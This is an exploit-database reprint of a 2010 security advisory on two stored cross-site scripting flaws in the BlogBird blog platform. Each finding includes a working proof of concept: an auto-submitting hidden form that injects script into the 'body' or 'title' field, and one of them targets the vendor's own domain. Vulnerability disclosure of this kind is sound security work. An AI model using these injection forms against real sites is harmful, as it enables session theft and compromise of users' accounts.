BlogBird Platform Multiple XSS Vulnerabilities

2010-10-28T00:00:00
ID 1337DAY-ID-14612
Type zdt
Reporter High-Tech Bridge
Modified 2010-10-28T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ==============================================
BlogBird Platform Multiple XSS Vulnerabilities
==============================================

Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/ )
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification: 13 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the blog elements saving script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://site/elements/save/2648" method="post" name="main">
<input type="hidden" name="files_id" value="123">
<input type="hidden" name="type" value="posts">
<input type="hidden" name="column" value="col1">
<input type="hidden" name="title" value="post title">
<input type="hidden" name="element" value="post">
<input type="hidden" name="body" value='post text"><script>alert(document.cookie)</script>'>
<input type="hidden" name="extended" value="">
<input type="hidden" name="publish" value="1">
<input type="hidden" name="page" value="home">
<input type="hidden" name="author" value="author">
<input type="hidden" name="tags" value="">
</form>
<script>
document.main.submit();
</script>
 
Solution: Upgrade to the most recent version
 
-----------------------------------------------------------------------------------------------------------------
 
Vulnerability ID: HTB22646
Reference: http://site/advisory/xss_vulnerability_in_blogbird.html
Product: BlogBird
Vendor: BlogBird ( http://www.blogbird.nl/ )
Vulnerable Version: Current actual version on http://www.blogbird.nl/
Vendor Notification: 13 October 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the blog setting save script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://www.blogbird.nl/settings/save" method="post" name="main">
<input type="hidden" name="title" value='My Blog Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="language" value="dutch">
<input type="hidden" name="date_format" value="">
<input type="hidden" name="per_page" value="0">
</form>
<script>
document.main.submit();
</script>
 
Solution: Upgrade to the most recent version



#  0day.today [2017-12-31]  #